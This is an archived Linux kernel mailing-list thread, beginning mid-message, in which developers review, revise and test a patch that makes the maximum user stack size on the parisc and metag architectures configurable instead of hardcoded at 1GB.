index 7d8cbd1..9118f01 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -72,10 +72,10 @@ static unsigned long mmap_upper_limit(void)
 {
 	unsigned long stack_base;
 
-	/* Limit stack size to 1GB - see setup_arg_pages() in fs/exec.c */
+	/* Limit stack size - see setup_arg_pages() in fs/exec.c */
 	stack_base = rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > CONFIG_MAX_STACK_SIZE_MB*1024*1024)
+		stack_base = CONFIG_MAX_STACK_SIZE_MB*1024*1024;
 
 	return PAGE_ALIGN(STACK_TOP - stack_base);
 }
diff --git a/fs/exec.c b/fs/exec.c
index 476f3eb..994108c 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -657,10 +657,10 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	unsigned long rlim_stack;
 
 #ifdef CONFIG_STACK_GROWSUP
-	/* Limit stack size to 1GB */
+	/* Limit stack size */
 	stack_base = rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > CONFIG_MAX_STACK_SIZE_MB*1024*1024)
+		stack_base = CONFIG_MAX_STACK_SIZE_MB*1024*1024;
 
 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
diff --git a/init/Kconfig b/init/Kconfig
index 9d3585b..436e479 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -1862,6 +1862,17 @@ config STOP_MACHINE
 	help
 	  Need stop_machine() primitive.
 
+config MAX_STACK_SIZE_MB
+	int "Default initial maximum stack size"
+	default 80
+	range 8 2048
+	depends on STACK_GROWSUP
+	help
+	  This is the default initial stack size in Megabytes in the VM layout of user
+	  processes when the stack grows upwards (currently only on parisc and matag
+	  arch).  The stack will be located at the highest memory address minus the
+	  given value. A sane initial value is 80 MB.
+
 source "block/Kconfig"
 
 config PREEMPT_NOTIFIERS
--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc,metag: Do not hardcode maximum userspace stack size
Date: Wed, 30 Apr 2014 18:53:04 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <BLU0-SMTP74DF2254448A59324B6A1597410@phx.gbl>
References: <20140430212602.GA20601@p100.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1398898720 28197 80.91.229.3 (30 Apr 2014 22:58:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 30 Apr 2014 22:58:40 +0000 (UTC)
Cc: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu May 01 00:58:33 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1WfdSR-0000m4-Bm
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 01 May 2014 00:58:31 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S965046AbaD3W6a (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Wed, 30 Apr 2014 18:58:30 -0400
Original-Received: from blu0-omc1-s24.blu0.hotmail.com ([65.55.116.35]:10168 "EHLO
	blu0-omc1-s24.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S965041AbaD3W63 (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 30 Apr 2014 18:58:29 -0400
X-Greylist: delayed 307 seconds by postgrey-1.27 at vger.kernel.org; Wed, 30 Apr 2014 18:58:29 EDT
Original-Received: from BLU0-SMTP74 ([65.55.116.8]) by blu0-omc1-s24.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 30 Apr 2014 15:53:21 -0700
X-TMN: [NFUJPwoeQxLjXN28lAcVj6P772GcjBRx]
X-Originating-Email: [dave.anglin-CzeTG9NwML0@public.gmane.org]
Original-Received: from [192.168.2.10] ([174.92.84.123]) by BLU0-SMTP74.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 30 Apr 2014 15:53:20 -0700
In-Reply-To: <20140430212602.GA20601-9U14vcwSumxwFLYp8hBm2A@public.gmane.org>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 30 Apr 2014 22:53:20.0763 (UTC) FILETIME=[FBC99CB0:01CF64C6]
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:174 gmane.linux.kernel:1694618 gmane.linux.ports.parisc:5766
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/174>

On 30-Apr-14, at 5:26 PM, Helge Deller wrote:

> +	  processes when the stack grows upwards (currently only on parisc  
> and matag

"metag" is mispelled.

Dave
--
John David Anglin	dave.anglin-CzeTG9NwML0@public.gmane.org



--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Hogan <james.hogan@imgtec.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag
Subject: Re: [PATCH] parisc,metag: Do not hardcode maximum userspace stack
 size
Date: Thu, 1 May 2014 12:19:22 +0100
Lines: 262
Approved: news@gmane.org
Message-ID: <53622DBA.807@imgtec.com>
References: <20140430212602.GA20601@p100.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature";
	boundary="1JAMX7Irn0mKLGTxBkM0xOesmL4ArfhjB"
X-Trace: ger.gmane.org 1398943182 4911 80.91.229.3 (1 May 2014 11:19:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 May 2014 11:19:42 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, <linux-kernel@vger.kernel.org>,
	<linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	<linux-metag@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 01 13:19:35 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wfp1Z-00061p-Pf
	for glpp-linux-parisc@plane.gmane.org; Thu, 01 May 2014 13:19:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753535AbaEALTd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 May 2014 07:19:33 -0400
Original-Received: from [217.156.133.130] ([217.156.133.130]:16067 "EHLO
	imgpgp01.kl.imgtec.org" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1752798AbaEALTb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 May 2014 07:19:31 -0400
Original-Received: from imgpgp01.kl.imgtec.org (imgpgp01.kl.imgtec.org [127.0.0.1])
	by imgpgp01.kl.imgtec.org (PGP Universal) with ESMTP id 157E341F8DEC;
	Thu,  1 May 2014 12:19:30 +0100 (BST)
Original-Received: from mailapp01.imgtec.com ([10.100.180.242])
  by imgpgp01.kl.imgtec.org (PGP Universal service);
  Thu, 01 May 2014 12:19:30 +0100
X-PGP-Universal: processed;
	by imgpgp01.kl.imgtec.org on Thu, 01 May 2014 12:19:30 +0100
Original-Received: from KLMAIL01.kl.imgtec.org (unknown [192.168.5.35])
	by Websense Email Security Gateway with ESMTPS id 8A195AC3D2B4C;
	Thu,  1 May 2014 12:19:27 +0100 (IST)
Original-Received: from KLMAIL02.kl.imgtec.org (192.168.5.97) by KLMAIL01.kl.imgtec.org
 (192.168.5.35) with Microsoft SMTP Server (TLS) id 14.3.181.6; Thu, 1 May
 2014 12:19:29 +0100
Original-Received: from LEMAIL01.le.imgtec.org (192.168.152.62) by
 klmail02.kl.imgtec.org (192.168.5.97) with Microsoft SMTP Server (TLS) id
 14.3.181.6; Thu, 1 May 2014 12:19:29 +0100
Original-Received: from [192.168.154.101] (192.168.154.101) by LEMAIL01.le.imgtec.org
 (192.168.152.62) with Microsoft SMTP Server (TLS) id 14.3.174.1; Thu, 1 May
 2014 12:19:29 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0
In-Reply-To: <20140430212602.GA20601@p100.fritz.box>
X-Enigmail-Version: 1.6
X-Originating-IP: [192.168.154.101]
X-ESG-ENCRYPT-TAG: 2110538f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5767 gmane.linux.kernel:1694891 gmane.linux.kernel.metag:175
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5767>

--1JAMX7Irn0mKLGTxBkM0xOesmL4ArfhjB
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

Hi Helge,

On 30/04/14 22:26, Helge Deller wrote:
> This patch affects only architectures where the stack grows upwards
> (currently parisc and metag only). On those do not hardcode the maximum=

> initial stack size to 1GB, but make it configurable via a config option=
=2E
>=20
> The main problem with the hardcoded stack size is, that we have two
> memory regions which grow upwards: stack and heap. To keep most of the
> memory available for heap in a flexmap memoy layout, it makes no sense
> to hard allocate up to 1GB of the memory for stack which can't be used
> as heap then.
>=20
> This patch makes the stack size configurable and uses 80MB as default
> value which has been in use during the last few years on parisc and
> which didn't showed any problems yet.
>=20
> Signed-off-by: Helge Deller <deller@gmx.de>
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-metag@vger.kernel.org
> Cc: John David Anglin <dave.anglin@bell.net>
>=20
> diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_p=
arisc.c
> index 7d8cbd1..9118f01 100644
> --- a/arch/parisc/kernel/sys_parisc.c
> +++ b/arch/parisc/kernel/sys_parisc.c
> @@ -72,10 +72,10 @@ static unsigned long mmap_upper_limit(void)
>  {
>  	unsigned long stack_base;
> =20
> -	/* Limit stack size to 1GB - see setup_arg_pages() in fs/exec.c */
> +	/* Limit stack size - see setup_arg_pages() in fs/exec.c */
>  	stack_base =3D rlimit_max(RLIMIT_STACK);
> -	if (stack_base > (1 << 30))
> -		stack_base =3D 1 << 30;
> +	if (stack_base > CONFIG_MAX_STACK_SIZE_MB*1024*1024)
> +		stack_base =3D CONFIG_MAX_STACK_SIZE_MB*1024*1024;
> =20
>  	return PAGE_ALIGN(STACK_TOP - stack_base);
>  }
> diff --git a/fs/exec.c b/fs/exec.c
> index 476f3eb..994108c 100644
> --- a/fs/exec.c
> +++ b/fs/exec.c
> @@ -657,10 +657,10 @@ int setup_arg_pages(struct linux_binprm *bprm,
>  	unsigned long rlim_stack;
> =20
>  #ifdef CONFIG_STACK_GROWSUP
> -	/* Limit stack size to 1GB */
> +	/* Limit stack size */
>  	stack_base =3D rlimit_max(RLIMIT_STACK);
> -	if (stack_base > (1 << 30))
> -		stack_base =3D 1 << 30;
> +	if (stack_base > CONFIG_MAX_STACK_SIZE_MB*1024*1024)
> +		stack_base =3D CONFIG_MAX_STACK_SIZE_MB*1024*1024;

When I remove metag's _STK_LIM_MAX override (before your patch) it
panics when I next start a process (since stack_top =3D 0x3ffff000 so the=

1GB default is way too big).

That could actually always have been triggered even with the default
_STK_LIM_MAX override, by just changing it from userland (as root),
e.g.:
# ulimit -H -s unlimited
# cat
BUG: failure at fs/exec.c:589/shift_arg_pages()!
Kernel panic - not syncing: BUG!

I'm guessing this doesn't affect parisc due to stack_top being above
1GB, but since this patch effectively fixes a bug on metag (by changing
the maximum stack size to a smaller/safe value) I'd like to take this
patch and submit upstream for v3.15, and mark for stable. Would that be
okay with you?

A few suggestions below though...

> =20
>  	/* Make sure we didn't let the argument array grow too large. */
>  	if (vma->vm_end - vma->vm_start > stack_base)
> diff --git a/init/Kconfig b/init/Kconfig
> index 9d3585b..436e479 100644
> --- a/init/Kconfig
> +++ b/init/Kconfig
> @@ -1862,6 +1862,17 @@ config STOP_MACHINE
>  	help
>  	  Need stop_machine() primitive.
> =20
> +config MAX_STACK_SIZE_MB
> +	int "Default initial maximum stack size"
> +	default 80

can we insert here:
range 8 256 if METAG

> +	range 8 2048
> +	depends on STACK_GROWSUP
> +	help
> +	  This is the default initial stack size in Megabytes in the VM layou=
t of user
> +	  processes when the stack grows upwards (currently only on parisc an=
d matag
> +	  arch).  The stack will be located at the highest memory address min=
us the
> +	  given value. A sane initial value is 80 MB.

This config option appears in the root menu. Can we move it into a
submenu, e.g. mm/Kconfig would seem a good place for it, then it appears
in the "Processor type and features" menu.

Also, technically it's the absolute maximum stack size, which happens to
be the default unless the user reduces the RLIMIT_STACK hard limit.

How does the v2 below look?

=46rom c34f0ec062ae1a2c9fca3eddbc705f6b0faf97ca Mon Sep 17 00:00:00 2001
From: Helge Deller <deller@gmx.de>
Date: Wed, 30 Apr 2014 23:26:02 +0200
Subject: [PATCH v2] parisc,metag: Do not hardcode maximum userspace stack=

 size

This patch affects only architectures where the stack grows upwards
(currently parisc and metag only). On those do not hardcode the maximum
initial stack size to 1GB, but make it configurable via a config option.

The main problem with the hardcoded stack size is, that we have two
memory regions which grow upwards: stack and heap. To keep most of the
memory available for heap in a flexmap memoy layout, it makes no sense
to hard allocate up to 1GB of the memory for stack which can't be used
as heap then.

This patch makes the stack size configurable and uses 80MB as default
value which has been in use during the last few years on parisc and
which didn't showed any problems yet.

This also fixes a BUG on metag if the RLIMIT_STACK hard limit is
increased beyond a safe value by root. E.g. when starting a process
after running "ulimit -H -s unlimited" it will then attempt to use a
stack size of the maximum 1GB which is far too big for metag's limited
user virtual address space (stack_top is usually 0x3ffff000):
BUG: failure at fs/exec.c:589/shift_arg_pages()!

Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: linux-parisc@vger.kernel.org
Cc: linux-metag@vger.kernel.org
Cc: John David Anglin <dave.anglin@bell.net>
Cc: stable@vger.kernel.org
---
v2 (James Hogan):
 - updated description to mention BUG on metag.
 - added custom range limit for METAG.
 - moved Kconfig symbol to mm/Kconfig and reworded.
 - fixed "matag" typo.
---
 arch/parisc/kernel/sys_parisc.c |  6 +++---
 fs/exec.c                       |  6 +++---
 mm/Kconfig                      | 15 +++++++++++++++
 3 files changed, 21 insertions(+), 6 deletions(-)

diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_par=
isc.c
index 31ffa9b55322..9f040261151e 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -72,10 +72,10 @@ static unsigned long mmap_upper_limit(void)
 {
 	unsigned long stack_base;

-	/* Limit stack size to 1GB - see setup_arg_pages() in fs/exec.c */
+	/* Limit stack size - see setup_arg_pages() in fs/exec.c */
 	stack_base =3D rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base =3D 1 << 30;
+	if (stack_base > CONFIG_MAX_STACK_SIZE_MB*1024*1024)
+		stack_base =3D CONFIG_MAX_STACK_SIZE_MB*1024*1024;

 	return PAGE_ALIGN(STACK_TOP - stack_base);
 }
diff --git a/fs/exec.c b/fs/exec.c
index 476f3ebf437e..994108cc60f3 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -657,10 +657,10 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	unsigned long rlim_stack;

 #ifdef CONFIG_STACK_GROWSUP
-	/* Limit stack size to 1GB */
+	/* Limit stack size */
 	stack_base =3D rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base =3D 1 << 30;
+	if (stack_base > CONFIG_MAX_STACK_SIZE_MB*1024*1024)
+		stack_base =3D CONFIG_MAX_STACK_SIZE_MB*1024*1024;

 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
diff --git a/mm/Kconfig b/mm/Kconfig
index ebe5880c29d6..e80075979530 100644
--- a/mm/Kconfig
+++ b/mm/Kconfig
@@ -581,3 +581,18 @@ config PGTABLE_MAPPING

 config GENERIC_EARLY_IOREMAP
 	bool
+
+config MAX_STACK_SIZE_MB
+	int "Maximum user stack size (MB)"
+	default 80
+	range 8 256 if METAG
+	range 8 2048
+	depends on STACK_GROWSUP
+	help
+	  This is the maximum stack size in Megabytes in the VM layout of user
+	  processes when the stack grows upwards (currently only on parisc and
+	  metag arch). The stack will be located at the highest memory address
+	  minus the given value, unless the RLIMIT_STACK hard limit is changed
+	  to a smaller value in which case that is used.
+
+	  A sane initial value is 80 MB.
--=20
1.9.2



--1JAMX7Irn0mKLGTxBkM0xOesmL4ArfhjB
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iQIcBAEBAgAGBQJTYi3BAAoJEGwLaZPeOHZ6GNkP/0F2iR2GWkGRQj4QRyqqvQjV
vOrKAovimPPkHf+AtVLr883afywDsdYH9MLiS3PAcyAKAu3vCGnsbhtdj3zl/91v
7wpq4FMomgE3bOJVLSSezkELCHeQZjWc0ZZGBhovn45SLKvWEx4ynmjQYorT5bYp
4jT3SRoW5ZDJ4ZecfMGJ42mc2e0+pkL0LdmpFUxE/oPWv1nslNQlhHifnURh3BC9
aN4fDb8lb8WdWXIjyMQrbAvbYkrdAwKjfqga8jy96SPtM/t+X2kISoaawwa7lNl4
Tho219ZtcRnW6RecMdMGUGniG50GuvwFYqXnDQiv8bx47gLaKKpMGDcJGWE7wgO9
eceP/ZYxPc4JzfbugDnG2T1l1joCV6Ks8lws6vOgcRgmPs5RnynBzu+PLgkpWRYA
bSFywDPDXIuqMiLfsqO30pZYmKQAmD7j9f7lGcmg4iLPA/UJYSIdQSVJ54VdGhmt
+m6CKPsxcJqVmvJXypKuRmX7JyGYG4C1x7L2lX+W3oz0pl3gCjAaTnY0j+yOmsog
w/Z3z4WQMwlbqPbmzrkH6hsJbbwX7OvNSbieiZEhGm2OPPPF7LUtzClOJIUCh+Rn
TmlkA+X4q7LFW6VNoVcu70mATEjGbROPttH5DYojPhcu5Gs47Xts/mLJN7qlIN0n
D7hMDAKhKOdr2JOgsU2B
=DZa0
-----END PGP SIGNATURE-----

--1JAMX7Irn0mKLGTxBkM0xOesmL4ArfhjB--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag
Subject: Re: [PATCH] parisc,metag: Do not hardcode maximum userspace stack
 size
Date: Thu, 1 May 2014 10:06:51 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <BLU0-SMTP100F3609C6E4E30484E98DE97400@phx.gbl>
References: <20140430212602.GA20601@p100.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1398953201 29665 80.91.229.3 (1 May 2014 14:06:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 May 2014 14:06:41 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-metag@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 01 16:06:34 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wfrd8-00053T-Fi
	for glpp-linux-parisc@plane.gmane.org; Thu, 01 May 2014 16:06:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750839AbaEAOG3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 May 2014 10:06:29 -0400
Original-Received: from blu0-omc1-s17.blu0.hotmail.com ([65.55.116.28]:35425 "EHLO
	blu0-omc1-s17.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750806AbaEAOG3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 May 2014 10:06:29 -0400
Original-Received: from BLU0-SMTP100 ([65.55.116.8]) by blu0-omc1-s17.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 1 May 2014 07:06:28 -0700
X-TMN: [FlB920zGe4ZS6WO2qCwo0OrgESEuru50]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([70.50.48.29]) by BLU0-SMTP100.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 1 May 2014 07:06:27 -0700
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <20140430212602.GA20601@p100.fritz.box>
X-OriginalArrivalTime: 01 May 2014 14:06:27.0343 (UTC) FILETIME=[8B2249F0:01CF6546]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5768 gmane.linux.kernel:1694941 gmane.linux.kernel.metag:177
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5768>

On 4/30/2014 5:26 PM, Helge Deller wrote:
> This patch makes the stack size configurable and uses 80MB as default
> value which has been in use during the last few years on parisc and
> which didn't showed any problems yet.
>
> Signed-off-by: Helge Deller<deller@gmx.de>
> Cc:linux-parisc@vger.kernel.org
> Cc:linux-metag@vger.kernel.org
> Cc: John David Anglin<dave.anglin@bell.net>
>
I tested this version of the patch last night on 3.14.2.  I can
confirm that an 80MB region is reserved for stack at the expected
location in virtual memory with the default config setting.  GCC
and many other packages have built successfully with this setting.

Tested-by: John David Anglin <dave.anglin@bell.net>

---

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag
Subject: Re: [PATCH] parisc,metag: Do not hardcode maximum userspace stack
 size
Date: Thu, 01 May 2014 10:50:36 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <1398966636.2174.21.camel@dabdike>
References: <20140430212602.GA20601@p100.fritz.box>
	 <53622DBA.807@imgtec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1398966648 11812 80.91.229.3 (1 May 2014 17:50:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 May 2014 17:50:48 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>,
	linux-metag@vger.kernel.org
To: James Hogan <james.hogan@imgtec.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 01 19:50:40 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wfv83-0000QI-Eu
	for glpp-linux-parisc@plane.gmane.org; Thu, 01 May 2014 19:50:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750955AbaEARui (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 May 2014 13:50:38 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:46769 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750852AbaEARuh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 May 2014 13:50:37 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 39A668EE2BC;
	Thu,  1 May 2014 10:50:37 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id kKclNPKCdxiN; Thu,  1 May 2014 10:50:37 -0700 (PDT)
Original-Received: from [10.10.42.225] (unknown [4.53.145.56])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id BA6E28EE0C5;
	Thu,  1 May 2014 10:50:36 -0700 (PDT)
In-Reply-To: <53622DBA.807@imgtec.com>
X-Mailer: Evolution 3.12.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5769 gmane.linux.kernel:1695057 gmane.linux.kernel.metag:178
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5769>


> +
> +config MAX_STACK_SIZE_MB
> +	int "Maximum user stack size (MB)"
> +	default 80
> +	range 8 256 if METAG
> +	range 8 2048
> +	depends on STACK_GROWSUP
> +	help
> +	  This is the maximum stack size in Megabytes in the VM layout of user
> +	  processes when the stack grows upwards (currently only on parisc and
> +	  metag arch). The stack will be located at the highest memory address
> +	  minus the given value, unless the RLIMIT_STACK hard limit is changed
> +	  to a smaller value in which case that is used.
> +
> +	  A sane initial value is 80 MB.

There's one final issue with this: placement of the stack only really
matters on 32 bits.  We have three expanding memory areas: stack, heap
and maps.  On 64 bits these are placed well separated from each other on
64 bits, so an artificial limit like this doesn't matter.

Also, even on 32 bits, I can't help feeling we could simply layout the
binary better ... the problem is we have three upward growing regions:
stack, maps and   heap.  However, if you look at the current standard elf
layout for downward growing stacks, the maps grow up from the bottom
until it hits the mapped binary, the heap grows up from the mapped
binary and the stack grows down from the top.  You run out of memory
when the stack and heap cross or when the maps hits the binary.
Obviously with three upwardly growing regions, it's problematic, but we
could do something like make the maps grow down (can't, unfortunately,
make the heap grow down since sbrk depends on the upward behaviour).


James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
